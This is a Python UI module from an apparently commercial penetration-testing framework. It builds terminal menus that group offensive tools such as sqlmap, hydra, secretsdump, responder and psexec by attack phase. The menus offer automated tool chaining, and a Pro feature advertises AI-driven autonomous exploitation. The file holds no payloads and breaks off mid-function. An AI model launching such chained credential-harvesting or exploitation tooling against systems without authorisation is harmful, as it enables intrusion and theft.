#!/usr/bin/env python3
"""
souleyez.ui.interactive - Interactive menu system for tool selection
"""
import click
import logging
import os
import platform
import shlex
import time
import shutil
import tempfile
from typing import Dict, Any, Optional, List
from pathlib import Path
from rich.console import Console
from rich.table import Table
from souleyez.ui.design_system import DesignSystem
from souleyez.engine.loader import discover_plugins
from souleyez.engine.background import enqueue_job, list_jobs, get_job
from souleyez.storage.engagements import EngagementManager
from souleyez.storage.hosts import HostManager
from souleyez.storage.findings import FindingsManager
from souleyez.storage.osint import OsintManager
from souleyez.storage.web_paths import WebPathsManager
from souleyez.storage.smb_shares import SMBSharesManager
from souleyez.storage.credentials import CredentialsManager
from souleyez.ui.terminal import setup_terminal
from souleyez.ui.log_formatter import format_log_stream
import sys


def _needs_msf_no_readline() -> bool:
    """Check if msfconsole needs --no-readline flag (ARM64 Ubuntu has reline bug)."""
    if platform.machine() != 'aarch64':
        return False
    try:
        with open('/etc/os-release', 'r') as f:
            content = f.read().lower()
            if 'ubuntu' in content and 'kali' not in content:
                return True
    except:
        pass
    return False


def parse_job_ids(input_str: str) -> List[int]:
    """
    Parse job ID input supporting:
    - Single ID: "12"
    - Comma-separated: "12,14,18"
    - Space-separated: "12 14 18"
    - Ranges: "12-18"
    - Mixed: "12,14-18,22"

    Returns:
        List of unique job IDs sorted ascending

    Raises:
        ValueError: If input format is invalid
    """
    job_ids = set()

    # Replace commas and multiple spaces with single space
    input_str = input_str.replace(',', ' ')
    parts = input_str.split()

    for part in parts:
        if '-' in part:
            # Handle range (e.g., "12-18")
            try:
                start, end = part.split('-', 1)
                start_id = int(start.strip())
                end_id = int(end.strip())
                if start_id > end_id:
                    raise ValueError(f"Invalid range: {part} (start > end)")
                job_ids.update(range(start_id, end_id + 1))
            except (ValueError, AttributeError):
                raise ValueError(f"Invalid range format: {part}")
        else:
            # Handle single ID
            try:
                job_ids.add(int(part.strip()))
            except ValueError:
                raise ValueError(f"Invalid job ID: {part}")

    if not job_ids:
        raise ValueError("No job IDs provided")

    return sorted(list(job_ids))


def _ensure_worker_running():
    """Start worker if not already running (don't restart if exists)."""
    from souleyez.engine.worker_manager import start_worker_if_needed
    try:
        start_worker_if_needed()
    except Exception:
        # Silent fail - don't block UI if worker start fails
        pass


def _has_real_version(version_str):
    """Check if version string contains meaningful version info."""
    return version_str and version_str not in ['Unknown', '-', '', 'N/A']


def get_terminal_width():
    """Get current terminal width, default to 100 if unavailable."""
    try:
        return shutil.get_terminal_size().columns
    except:
        return 100


def render_standard_header(title: str, width: int = None) -> None:
    """Render standardized section header with centered title.
    
    Args:
        title: Section title text
        width: Terminal width (auto-detected if None)
    """
    if width is None:
        width = get_terminal_width()
    
    click.echo()
    click.echo("┌" + "─" * (width - 2) + "┐")
    padding = (width - len(title) - 2) // 2
    click.echo("│" + " " * padding + click.style(title, bold=True, fg='cyan') + " " * (width - len(title) - padding - 2) + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()


def _show_upgrade_prompt(feature_name: str):
    """Show upgrade prompt when FREE user tries to access Pro feature."""
    from rich.panel import Panel

    console = Console()

    console.print(Panel(
        f"[bold yellow]💎 PRO FEATURE[/bold yellow]\n\n"
        f"[bold]{feature_name}[/bold] requires a Pro license.\n\n"
        f"Unlock all Pro features:\n"
        f"  • Intelligence Hub - Exploit suggestions & attack surface\n"
        f"  • Auto-Chaining - Automatic follow-up scans\n"
        f"  • AI Execute - Autonomous exploitation\n"
        f"  • MSF Integration - Metasploit attack chains\n"
        f"  • Reports & Export - Professional deliverables\n"
        f"  • Team Dashboard - Collaboration & activity tracking\n\n"
        f"[cyan]Visit: https://souleyez.com/pricing[/cyan]",
        title="🔒 Upgrade Required",
        border_style="yellow"
    ))
    click.pause("Press Enter to continue...")


def check_quit_back(user_input: str, allow_back: bool = True) -> str:
    """
    Check if user wants to go back. Returns the input if not.
    Note: 'q' to quit only works from main menu now.
    
    Args:
        user_input: The user's input string
        allow_back: Whether '0' should trigger going back
        
    Returns:
        The original input if not back
        Empty string if user wants to go back ('0')
    """
    inp = user_input.strip().lower()
    
    # Check for back (standardized to '0' only)
    if allow_back and inp == 'q':
        return ''  # Return empty string to signal back
    
    return user_input


def prompt_with_quit(prompt_text: str, prompt_type=str, default=None, allow_back: bool = True):
    """
    Wrapper around click.prompt that handles '0' (back) command.
    
    Args:
        prompt_text: The prompt message
        prompt_type: The expected type (int, str, etc.)
        default: Default value
        allow_back: Whether to allow '0' to go back (returns default or 0)
        
    Returns:
        User input of the specified type, or default/0 if back is triggered
    """
    while True:
        try:
            if prompt_type == int:
                # For integer prompts, accept string first to check for 0
                raw_input = click.prompt(prompt_text, type=str, default=str(default) if default is not None else '')
                
                # Check for back
                checked = check_quit_back(raw_input, allow_back)
                if checked == '' and allow_back:
                    # User wants to go back
                    return default if default is not None else 0
                
                # Try to convert to int
                return int(checked)
            else:
                # For string prompts
                raw_input = click.prompt(prompt_text, type=str, default=default or '')
                checked = check_quit_back(raw_input, allow_back)
                if checked == '' and allow_back:
                    return default if default is not None else ''
                return checked
                
        except ValueError:
            click.echo(click.style("  ✗ Invalid input. Please enter a valid number (or '0' to go back)", fg='red'))
        except (KeyboardInterrupt, EOFError):
            click.echo("\n" + click.style("  Goodbye!", fg='cyan'))
            sys.exit(0)


def safe_prompt(prompt_text: str, **kwargs):
    """
    Wrapper around click.prompt that handles back.
    
    Args:
        prompt_text: The prompt text to display
        **kwargs: Additional arguments to pass to click.prompt
        
    Returns:
        The user's input (or returns '' for back)
    """
    # Add hint about 0 if not already in prompt
    if '0' not in prompt_text:
        if 'default' in kwargs:
            prompt_text = f"{prompt_text} (0=back)"
        else:
            prompt_text = f"{prompt_text} (0=back, or press Enter to cancel)"
    
    try:
        result = click.prompt(prompt_text, **kwargs)
        return check_quit_back(str(result))
    except click.Abort:
        # User pressed Ctrl+C
        click.echo("\n  " + click.style("Cancelled", fg='yellow'))
        return ''


def get_terminal_width() -> int:
    """Get terminal width with fallback."""
    try:
        width, _ = os.get_terminal_size()
        return width
    except:
        # Fallback to environment variable or default
        try:
            return int(os.environ.get('COLUMNS', 80))
        except:
            return 80


def _worker_management_menu():
    """Worker status and management menu."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("BACKGROUND WORKER MANAGEMENT", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")
    
    from souleyez.engine.worker_manager import get_worker_status, restart_worker, start_worker_if_needed
    
    # Get current status
    status = get_worker_status()
    
    click.echo("  " + click.style("WORKER STATUS", bold=True, fg='yellow'))
    click.echo("  ─" * 35)
    
    if status['running']:
        click.echo(f"  Status:      {click.style('✓ Running', fg='green', bold=True)}")
        click.echo(f"  PID:         {status['pid']}")
        if status['uptime']:
            uptime_min = status['uptime'] // 60
            uptime_sec = status['uptime'] % 60
            click.echo(f"  Uptime:      {uptime_min}m {uptime_sec}s")
        if status['cpu_percent'] is not None:
            click.echo(f"  CPU:         {status['cpu_percent']:.1f}%")
        if status['memory_mb'] is not None:
            click.echo(f"  Memory:      {status['memory_mb']:.1f} MB")
    else:
        click.echo(f"  Status:      {click.style('✗ Not Running', fg='red', bold=True)}")
        click.echo()
        click.echo(click.style("  ⚠ WARNING: Auto-chaining will not work without the worker!", fg='yellow'))
    
    click.echo()
    click.echo("  " + click.style("ACTIONS", bold=True, fg='yellow'))
    click.echo("  ─" * 35)
    click.echo("    [1] Start Worker      - Start if not running")
    click.echo("    [2] Restart Worker    - Stop and start worker")
    click.echo("    [3] Refresh Status    - Update status display")
    click.echo()
    click.echo("    [q] ← Back")
    click.echo()
    click.echo("  ─" * 35)
    
    choice = click.prompt("  Select option", default='q', show_default=False)
    
    if choice == '1':
        click.echo()
        try:
            was_started = start_worker_if_needed()
            if was_started:
                click.echo(click.style("  ✓ Worker started successfully!", fg='green', bold=True))
            else:
                click.echo(click.style("  ℹ Worker is already running", fg='cyan'))
        except Exception as e:
            click.echo(click.style(f"  ✗ Failed to start worker: {e}", fg='red'))
        click.echo()
        click.pause()
        _worker_management_menu()  # Refresh display
    
    elif choice == '2':
        click.echo()
        if click.confirm("  Are you sure you want to restart the worker?", default=True):
            try:
                restart_worker()
                click.echo(click.style("  ✓ Worker restarted successfully!", fg='green', bold=True))
            except Exception as e:
                click.echo(click.style(f"  ✗ Failed to restart worker: {e}", fg='red'))
        click.echo()
        click.pause()
        _worker_management_menu()  # Refresh display
    
    elif choice == '3':
        _worker_management_menu()  # Refresh display
    
    # Return to main menu (choice 0 or any other input)


def _automation_submenu():
    """Automation settings submenu with embedded Chain Rules table."""
    from souleyez.core.tool_chaining import ToolChaining
    from souleyez.core.pending_chains import get_pending_count
    from souleyez.ui.chain_rules_view import (
        _toggle_rule_interactive, _view_rule_details, _filter_by_status,
        _enable_all_rules, _disable_all_rules, _reset_to_defaults,
        _run_tool_groups_interactive
    )

    # Get current engagement
    em = EngagementManager()
    current = em.get_current()
    engagement_id = current['id'] if current else None

    selected_tools = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        # Title
        click.echo()
        click.echo("┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" 🔗 AUTOMATION ", bold=True, fg='cyan').center(width + 7) + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Get current status
        chaining = ToolChaining()
        auto_chain_enabled = chaining.is_enabled()
        approval_mode = chaining.is_approval_mode() if auto_chain_enabled else False
        pending_count = get_pending_count()

        # Count chain rules by status
        all_rules = chaining.rules
        total_rules = len(all_rules)
        enabled_count = sum(1 for r in all_rules if r.enabled)
        disabled_count = total_rules - enabled_count
        brute_force_enabled = sum(1 for r in all_rules if r.target_tool == 'hydra' and r.enabled)

        # Compact status line
        mode_text = "APPROVAL" if approval_mode else "AUTO"
        mode_color = "yellow" if approval_mode else "green"
        if auto_chain_enabled:
            chain_status = click.style(f"● ON ({mode_text})", fg=mode_color, bold=True)
        else:
            chain_status = click.style("○ OFF", fg='red', bold=True)

        pending_text = click.style(f"{pending_count} awaiting", fg='yellow', bold=True) if pending_count > 0 else click.style("0", fg='bright_black')
        brute_text = click.style(f"{brute_force_enabled} active", fg='red', bold=True) if brute_force_enabled > 0 else click.style("0", fg='bright_black')

        click.echo(f"  Auto-Chain: {chain_status}  │  Pending: {pending_text}  │  Brute-force: {brute_text}")
        click.echo()

        # Rule counts
        click.echo(f"  Total Rules: {total_rules}  │  ✓ Enabled: {enabled_count}  │  ✗ Disabled: {disabled_count}")
        click.echo()

        # Group rules by trigger tool
        rules_by_tool = {}
        for rule in chaining.rules:
            if rule.trigger_tool not in rules_by_tool:
                rules_by_tool[rule.trigger_tool] = []
            rules_by_tool[rule.trigger_tool].append(rule)

        tool_list = sorted(rules_by_tool.keys())

        # Table header with checkbox and category columns
        click.echo(click.style(f"    ○   {'Tool':<20} │ Enabled │ Disabled │ Total │  🎯  │  🏢  │  ⚙️  │ Status │ Fired", bold=True))
        click.echo(" " + "─" * (width - 2))

        # Display tool groups
        for tool in tool_list:
            rules = rules_by_tool[tool]
            tool_enabled = sum(1 for r in rules if r.enabled)
            tool_disabled = len(rules) - tool_enabled
            total = len(rules)

            # Category counts
            ctf_count = sum(1 for r in rules if r.category == 'ctf')
            enterprise_count = sum(1 for r in rules if r.category == 'enterprise')
            general_count = sum(1 for r in rules if r.category == 'general')

            # Total trigger count for this tool's rules
            tool_runs = sum(r.trigger_count if hasattr(r, 'trigger_count') else 0 for r in rules)

            # Checkbox for multi-select
            checkbox = '●' if tool in selected_tools else '○'

            # Icon based on status
            if tool_disabled == 0:
                icon = click.style("✓", fg='green', bold=True)
            elif tool_enabled == 0:
                icon = click.style("✗", fg='red')
            else:
                icon = click.style("◐", fg='yellow')

            # Tool name
            tool_display = f"{tool.upper():<20}"
            on_display = click.style(f"{tool_enabled:>7}", fg='green')
            off_display = click.style(f"{tool_disabled:>8}", fg='yellow') if tool_disabled > 0 else f"{tool_disabled:>8}"

            # Category displays (dim if 0)
            ctf_display = click.style(f"{ctf_count:>4}", fg='bright_black') if ctf_count == 0 else f"{ctf_count:>4}"
            ent_display = click.style(f"{enterprise_count:>4}", fg='bright_black') if enterprise_count == 0 else f"{enterprise_count:>4}"
            gen_display = click.style(f"{general_count:>4}", fg='bright_black') if general_count == 0 else f"{general_count:>4}"

            # Runs display (green if > 0, dim if 0)
            runs_display = click.style(f"{tool_runs:>6}", fg='green') if tool_runs > 0 else click.style(f"{tool_runs:>6}", fg='bright_black')

            click.echo(f"    {checkbox}   {click.style(tool_display, fg='cyan')} │ {on_display} │ {off_display} │ {total:>5} │ {ctf_display} │ {ent_display} │ {gen_display} │   {icon}   │ {runs_display}")

        click.echo()

        # TIP line
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        click.echo()

        # Brute-force warning
        if brute_force_enabled > 0:
            click.echo(click.style(f"  ⚠️  WARNING: {brute_force_enabled} brute-force rules are ACTIVE!", fg='red', bold=True))
            click.echo()

        # Separator + inline menu (two columns)
        click.echo("─" * width)
        click.echo()
        click.echo("  [+] Create Rule            [a] Toggle Auto-Chain " + (click.style("(ON)", fg='green') if auto_chain_enabled else click.style("(OFF)", fg='red')))
        click.echo("  [t] Toggle Rule            [m] Switch Mode " + (f"({click.style(mode_text, fg=mode_color)})" if auto_chain_enabled else click.style("(disabled)", fg='bright_black')))
        click.echo("  [v] View Rule Details      [f] Filter by status")
        if pending_count > 0:
            click.echo(f"  [p] Pending Chains ({click.style(str(pending_count), fg='yellow', bold=True)})    [e] Enable All")
        else:
            click.echo("  [p] Pending Chains         [e] Enable All")
        click.echo("  [d] Disable All            [r] Reset Defaults")
        click.echo("  [?] Help                   [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip().lower()

            if choice == 'q' or choice == '':
                return

            elif choice == '+':
                # Create new chain rule
                from souleyez.ui.rule_builder import show_rule_builder, _save_custom_rule
                rule = show_rule_builder(mode='simple')
                if rule:
                    if _save_custom_rule(rule):
                        # Refresh display to show new rule
                        continue
                    else:
                        click.pause()

            elif choice == 'a':
                # Toggle auto-chaining
                new_state = chaining.toggle_chaining()

                click.echo()
                if new_state:
                    click.echo("  " + click.style("● Auto-chaining ENABLED", fg='green', bold=True))
                    click.echo("  " + click.style("Tools will automatically chain into next phase", fg='green'))
                else:
                    click.echo("  " + click.style("○ Auto-chaining DISABLED", fg='yellow', bold=True))
                    click.echo("  " + click.style("Manual control - you choose which tools to run", fg='yellow'))

                # Restart worker to apply changes
                click.echo()
                click.echo("  Restarting worker to apply changes...", nl=False)
                try:
                    from souleyez.engine.worker_manager import restart_worker
                    if restart_worker():
                        click.echo(click.style(" ✓", fg='green', bold=True))
                    else:
                        click.echo(click.style(" ✗ (worker may not have been running)", fg='yellow'))
                except Exception as e:
                    click.echo(click.style(f" ✗ ({e})", fg='red'))

                click.pause()

            elif choice == 'm':
                # Toggle chain mode (AUTO ↔ APPROVAL)
                if not chaining.is_enabled():
                    click.echo()
                    click.echo("  " + click.style("⚠ Auto-chaining is disabled. Enable it first with [a]", fg='yellow'))
                    click.pause()
                    continue

                current = "APPROVAL" if chaining.is_approval_mode() else "AUTO"
                new_mode = chaining.toggle_approval_mode()
                new_text = "APPROVAL" if new_mode else "AUTO"

                click.echo()
                click.echo(click.style(f"  Chain mode: {current} → {new_text}", bold=True))
                if new_mode:
                    click.echo(click.style("  ⏳ Chains will queue for your approval before executing.", fg='yellow'))
                else:
                    click.echo(click.style("  ⚡ Chains will execute automatically.", fg='green'))
                click.pause()

            elif choice == 'p':
                # Pending Chains
                from souleyez.ui.pending_chains_view import manage_pending_chains
                manage_pending_chains(engagement_id)

            elif choice == '?':
                # Show auto-chaining help guide
                show_auto_chaining_help()

            elif choice == 'i':
                # Interactive multi-select mode for tool groups
                _run_tool_groups_interactive(chaining, rules_by_tool, selected_tools)

            elif choice == 't':
                # Toggle rule by number
                _toggle_rule_interactive(chaining)

            elif choice == 'v':
                # View rule details
                _view_rule_details(chaining)

            elif choice == 'f':
                # Filter by status
                _filter_by_status(chaining)

            elif choice == 'e':
                # Enable all rules
                _enable_all_rules(chaining)

            elif choice == 'd':
                # Disable all rules
                _disable_all_rules(chaining)

            elif choice == 'r':
                # Reset to defaults
                _reset_to_defaults(chaining)

        except (KeyboardInterrupt, EOFError):
            return


def show_main_menu() -> Optional[Dict[str, Any]]:
    """Show main menu and return action."""
    from souleyez.ui.design_system import DesignSystem
    
    plugins = discover_plugins()

    if not plugins:
        click.echo("No plugins found!")
        return None

    # Group plugins by category
    by_category = {}
    for name, plugin in plugins.items():
        cat = getattr(plugin, 'category', 'other')
        if cat not in by_category:
            by_category[cat] = []
        by_category[cat].append((name, plugin))

    DesignSystem.clear_screen()

    # Get engagement info for header
    from souleyez.storage.engagements import EngagementManager
    from souleyez.core.tool_chaining import ToolChaining
    em = EngagementManager()
    current = em.get_current()
    engagement_name = current.get('name', 'Unknown') if current else 'No Engagement'

    # Get recommended tools for current engagement's template
    from souleyez.core.templates import get_recommended_tools, get_template
    engagement_type = current.get('engagement_type', 'custom') if current else 'custom'
    recommended_tools = get_recommended_tools(engagement_type)
    current_template = get_template(engagement_type)

    # Get terminal width
    width = get_terminal_width()
    
    # No header box - just show system status summary
    click.echo()
    
    # Critical system information in one compact line
    # [t] toggles auto-chain on/off, [p] toggles approval mode (when enabled)
    chaining = ToolChaining()
    if chaining.is_enabled():
        mode_text = "APPROVAL" if chaining.is_approval_mode() else "AUTO"
        mode_color = "yellow" if chaining.is_approval_mode() else "green"
        chain_status = click.style("ENABLED ", fg='green', bold=True) + click.style("[p]", fg='bright_black') + click.style(f" {mode_text}", fg=mode_color, bold=True)
    else:
        chain_status = click.style("DISABLED", fg='red', bold=True)
    
    # Worker status
    worker_running = False
    worker_pid = None
    try:
        from souleyez.engine.worker_manager import get_worker_status
        worker_status = get_worker_status()
        worker_running = worker_status.get('running', False)
        worker_pid = worker_status.get('pid')
    except:
        pass
    
    worker_status_text = click.style(f"RUNNING (PID: {worker_pid})", fg='green', bold=True) if worker_running else click.style("STOPPED", fg='red', bold=True)
    
    # Check migration status
    migration_warning = ""
    try:
        from souleyez.storage.migrations.migration_manager import MigrationManager
        from souleyez.storage.database import get_db
        
        db_instance = get_db()
        manager = MigrationManager(db_instance.db_path)
        pending = manager.get_pending_migrations()
        
        if pending:
            migration_warning = click.style(f"  |  Migrations: ", fg='cyan') + click.style(f"⚠ {len(pending)} pending", fg='yellow', bold=True)
    except:
        pass
    
    # Single compact status line - just engagement name and system status
    # Include [t] and [p] hints for quick toggle shortcuts
    
    # Get current user info
    from souleyez.auth import get_current_user, Tier
    user = get_current_user()
    user_display = ""
    if user:
        tier_icon = "💎" if user.tier == Tier.PRO else ""
        user_display = (click.style(f"  👤 ", fg='cyan') + 
                       click.style(user.username, fg='white', bold=True) + 
                       click.style(f" ({user.role.value.upper()}) ", fg='bright_black') +
                       click.style(tier_icon, fg='magenta') +
                       click.style(f"  |  ", fg='cyan'))
    
    click.echo(user_display +
               click.style(f"📊 ", fg='cyan') + click.style(engagement_name, fg='white', bold=True) +
               click.style(f"  |  ", fg='cyan') + click.style("[t]", fg='bright_black') + click.style(" Auto-chain: ", fg='cyan') + chain_status +
               click.style(f"  |  Worker: ", fg='cyan') + worker_status_text +
               click.style(f"  |  Encryption: ", fg='cyan') + click.style("ENABLED", fg='green', bold=True) +
               migration_warning)
    click.echo(click.style("  💡 TIP: ", fg='bright_black') + click.style("[t]", fg='cyan') + click.style(" toggle auto-chain  ", fg='bright_black') + click.style("[p]", fg='cyan') + click.style(" toggle approval mode", fg='bright_black'))

    click.echo()

    # Store engagement info for footer
    em = EngagementManager()
    current_ws = em.get_current()

    # Define phase structure following penetration testing methodology
    phases = [
        {
            'name': 'PHASE 1: RECONNAISSANCE',
            'icon': '🔍',
            'category': 'reconnaissance',
            'description': 'Gather information before active scanning (OSINT)'
        },
        {
            'name': 'PHASE 2: SCANNING & ENUMERATION',
            'icon': '🔬',
            'category': 'scanning',
            'description': 'Identify hosts, ports, services, shares, and web paths'
        },
        {
            'name': 'PHASE 3: VULNERABILITY ANALYSIS',
            'icon': '⚠️',
            'category': 'vulnerability_analysis',
            'description': 'Identify vulnerabilities and find available exploits'
        },
        {
            'name': 'PHASE 4: EXPLOITATION',
            'icon': '💥',
            'category': 'exploitation',
            'description': 'Gain initial access by exploiting vulnerabilities'
        },
        {
            'name': 'PHASE 5: POST-EXPLOITATION',
            'icon': '🎯',
            'category': 'post_exploitation',
            'description': 'Maintain access, escalate privileges, and move laterally',
            'subsections': [
                {
                    'title': 'Credential Harvesting',
                    'tools': ['impacket-getnpusers', 'responder', 'impacket-secretsdump', 'hashcat', 'john']
                },
                {
                    'title': 'Lateral Movement',
                    'tools': ['impacket-psexec', 'crackmapexec']
                },
                {
                    'title': 'Data Collection',
                    'tools': ['impacket-smbclient', 'bloodhound']
                }
            ]
        }
    ]

    # Tool descriptions
    desc_map = {
        'whois': 'Domain registration and ownership lookup',
        'dnsrecon': 'DNS enumeration and subdomain discovery',
        'msf_auxiliary': 'Brute-forcing and initial exploitation',
        'nmap': 'Network scanner with presets',
        'theharvester': 'Email, domain, subdomain discovery',
        'gobuster': 'Web directory and DNS brute-forcing',
        'wpscan': 'WordPress vulnerability scanner',
        'sqlmap': 'SQL injection and database exploitation',
        'hydra': 'Network login brute-forcing',
        'smbmap': 'SMB share mapping and permissions',
        'nuclei': 'Vulnerability scanner (5000+ templates)',
        'nikto': 'Web server vulnerability scanner',
        'dalfox': 'XSS vulnerability scanner',
        'crackmapexec': 'Windows/AD enumeration (SMB, WinRM, LDAP)',
        'crackmapexec_post': 'Pass-the-hash, credential spraying',
        'ffuf': 'Advanced web fuzzing (dirs, params, vhosts)',
        'searchsploit': 'Search Exploit-DB for CVEs and exploits',
        'enum4linux': 'Legacy SMB/Samba enumeration',
        'impacket-secretsdump': 'Extract SAM/NTDS/LSA credentials',
        'impacket-getnpusers': 'AS-REP Roasting (Kerberos)',
        'responder': 'LLMNR/NBT-NS poisoning (passive capture)',
        'impacket-psexec': 'Remote command execution',
        'impacket-smbclient': 'Browse shares, exfiltrate files',
        'bloodhound': 'Map Active Directory attack paths',
        'hashcat': 'GPU-accelerated hash cracking',
        'john': 'Password cracking'
    }

    # Tool display order within each phase (for better workflow)
    tool_order = {
        'reconnaissance': ['theharvester', 'whois', 'dnsrecon'],
        'scanning': ['nmap', 'crackmapexec', 'smbmap', 'enum4linux', 'gobuster', 'ffuf'],
        'vulnerability_analysis': ['nuclei', 'nikto', 'dalfox', 'wpscan', 'searchsploit'],
        'exploitation': ['msf_auxiliary', 'sqlmap', 'hydra']
    }

    # Display tools organized by phase
    tool_list = []
    idx = 1

    # ============================================================================
    # MISSION CONTROL (FIRST THING - ALWAYS AT TOP)
    # ============================================================================
    click.echo(click.style("⚡ MISSION CONTROL", bold=True, fg='bright_yellow'))
    click.echo(click.style("═" * 100, fg='bright_yellow'))
    click.echo(click.style("   Your central hub for intelligent pentesting", fg='bright_black'))
    click.echo()

    dashboard_option = idx
    click.echo("  " + click.style("[c ]", fg='bright_cyan', bold=True) + " " +
               click.style("🧿 Command Center       ", fg='white', bold=True) +
               click.style("- Live monitoring, attack surface, next actions", fg='bright_black'))
    tool_list.append(('dashboard', None))
    idx += 1

    # Check if user has Pro tier
    is_pro = user and user.tier == Tier.PRO

    intel_hub_option = idx
    if is_pro:
        click.echo("  " + click.style("[i ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🕵️ Intelligence Hub     ", fg='white', bold=True) +
                   click.style("💎 ", fg='bright_magenta') +
                   click.style("- Host analysis, exploitation coverage, gaps", fg='bright_black'))
    else:
        click.echo("  " + click.style("[i ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🕵️ Intelligence Hub     ", fg='white', bold=True) +
                   click.style("🔒 PRO ", fg='yellow') +
                   click.style("- Host analysis, exploitation coverage, gaps", fg='bright_black'))
    tool_list.append(('intelligence_hub', None))
    idx += 1

    # Pro features - show to all users but with 🔒 label for FREE tier
    ai_execute_option = idx
    if is_pro:
        click.echo("  " + click.style("[x ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🤖 AI Execute           ", fg='white', bold=True) +
                   click.style("💎 ", fg='bright_magenta') +
                   click.style("- AI-driven autonomous execution", fg='bright_black'))
    else:
        click.echo("  " + click.style("[x ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🤖 AI Execute           ", fg='white', bold=True) +
                   click.style("🔒 PRO ", fg='yellow') +
                   click.style("- AI-driven autonomous execution", fg='bright_black'))
    tool_list.append(('ai_execute', None))
    idx += 1

    # Automation submenu - Pro feature
    auto_chain_option = idx
    if is_pro:
        click.echo("  " + click.style("[a ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🔗 Automation           ", fg='white', bold=True) +
                   click.style("💎 ", fg='bright_magenta') +
                   click.style("- Chain rules & settings", fg='bright_black'))
    else:
        click.echo("  " + click.style("[a ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🔗 Automation           ", fg='white', bold=True) +
                   click.style("🔒 PRO ", fg='yellow') +
                   click.style("- Chain rules & settings", fg='bright_black'))
    tool_list.append(('automation_submenu', None))
    idx += 1

    # MSF Integration - Pro feature
    msf_option = idx
    if is_pro:
        click.echo("  " + click.style("[m ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🔧 MSF Integration      ", fg='white', bold=True) +
                   click.style("💎 ", fg='bright_magenta') +
                   click.style("- Advanced exploitation & attack chains", fg='bright_black'))
    else:
        click.echo("  " + click.style("[m ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🔧 MSF Integration      ", fg='white', bold=True) +
                   click.style("🔒 PRO ", fg='yellow') +
                   click.style("- Advanced exploitation & attack chains", fg='bright_black'))
    tool_list.append(('msf', None))
    idx += 1

    # Reports & Export - Pro feature
    reports_option = idx
    if is_pro:
        click.echo("  " + click.style("[r ]", fg='bright_cyan', bold=True) + " " +
                   click.style("📊 Reports & Export     ", fg='white', bold=True) +
                   click.style("💎 ", fg='bright_magenta') +
                   click.style("- Professional deliverables", fg='bright_black'))
    else:
        click.echo("  " + click.style("[r ]", fg='bright_cyan', bold=True) + " " +
                   click.style("📊 Reports & Export     ", fg='white', bold=True) +
                   click.style("🔒 PRO ", fg='yellow') +
                   click.style("- Professional deliverables", fg='bright_black'))
    tool_list.append(('reports', None))
    idx += 1

    # Wazuh Integration - Pro feature
    wazuh_option = idx
    if is_pro:
        click.echo("  " + click.style("[w ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🛡️ Wazuh Integration    ", fg='white', bold=True) +
                   click.style("💎 ", fg='bright_magenta') +
                   click.style("- SIEM detection validation", fg='bright_black'))
    else:
        click.echo("  " + click.style("[w ]", fg='bright_cyan', bold=True) + " " +
                   click.style("🛡️ Wazuh Integration    ", fg='white', bold=True) +
                   click.style("🔒 PRO ", fg='yellow') +
                   click.style("- SIEM detection validation", fg='bright_black'))
    tool_list.append(('wazuh', None))
    idx += 1

    click.echo()

    # Helper function to format tool display name
    def get_display_name(name):
        """Get formatted display name for tool."""
        name_map = {
            'theharvester': 'theHarvester',
            'whois': 'WHOIS',
            'dnsrecon': 'DNSRecon',
            'nmap': 'Nmap',
            'crackmapexec': 'CrackMapExec',
            'smbmap': 'SMBMap',
            'enum4linux': 'enum4linux',
            'gobuster': 'Gobuster',
            'ffuf': 'ffuf',
            'nuclei': 'Nuclei',
            'nikto': 'Nikto',
            'dalfox': 'Dalfox',
            'wpscan': 'WPScan',
            'searchsploit': 'SearchSploit',
            'msf_auxiliary': 'Metasploit Auxiliary',
            'sqlmap': 'SQLMap',
            'hydra': 'Hydra',
            'impacket-secretsdump': 'secretsdump',
            'impacket-getnpusers': 'GetNPUsers',
            'responder': 'Responder',
            'impacket-psexec': 'psexec',
            'impacket-smbclient': 'smbclient',
            'bloodhound': 'Bloodhound',
            'hashcat': 'hashcat',
            'john': 'john'
        }
        return name_map.get(name, name)
    
    for phase in phases:
        # Phase header with spaced dashed separator
        click.echo(click.style(f"{phase['icon']} {phase['name']}", bold=True, fg='cyan'))
        click.echo("─" * 60)
        click.echo(f"   {phase['description']}")
        click.echo()

        # Check if this phase has subsections (POST-EXPLOITATION)
        if 'subsections' in phase:
            # POST-EXPLOITATION with subsections
            # Get all post-exploit tools from different categories
            all_tools = {}
            for cat in ['credential_access', 'lateral_movement', 'discovery_collection']:
                for name, plugin in by_category.get(cat, []):
                    all_tools[name] = plugin
            
            for subsection in phase['subsections']:
                click.echo(f"  {subsection['title']}:")
                for tool_name in subsection['tools']:
                    if tool_name in all_tools:
                        plugin = all_tools[tool_name]
                        display_name = get_display_name(tool_name)

                        # Use special description for crackmapexec in post-exploit context
                        if tool_name == 'crackmapexec':
                            display_desc = desc_map.get('crackmapexec_post', desc_map.get(tool_name))
                        else:
                            display_desc = desc_map.get(tool_name, 'No description')

                        # Add recommended badge if tool is in template's recommended list
                        is_recommended = tool_name.lower() in recommended_tools
                        badge = click.style("★ ", fg='yellow') if is_recommended else "  "

                        tool_entry = f"  [{idx:2d}] {badge}{display_name:<23} - {display_desc}"
                        click.echo(tool_entry)

                        tool_list.append(('launch_tool', tool_name))
                        idx += 1
                click.echo()
        else:
            # Regular phase with tools from category
            phase_tools = by_category.get(phase['category'], [])
            
            if phase_tools:
                # Custom sort order if defined, otherwise alphabetical
                if phase['category'] in tool_order:
                    # Sort by predefined order
                    ordered_tools = []
                    tool_dict = {name: plugin for name, plugin in phase_tools}
                    for tool_name in tool_order[phase['category']]:
                        if tool_name in tool_dict:
                            ordered_tools.append((tool_name, tool_dict[tool_name]))
                    # Add any tools not in the order list (alphabetically)
                    remaining = [(n, p) for n, p in phase_tools if n not in tool_order[phase['category']]]
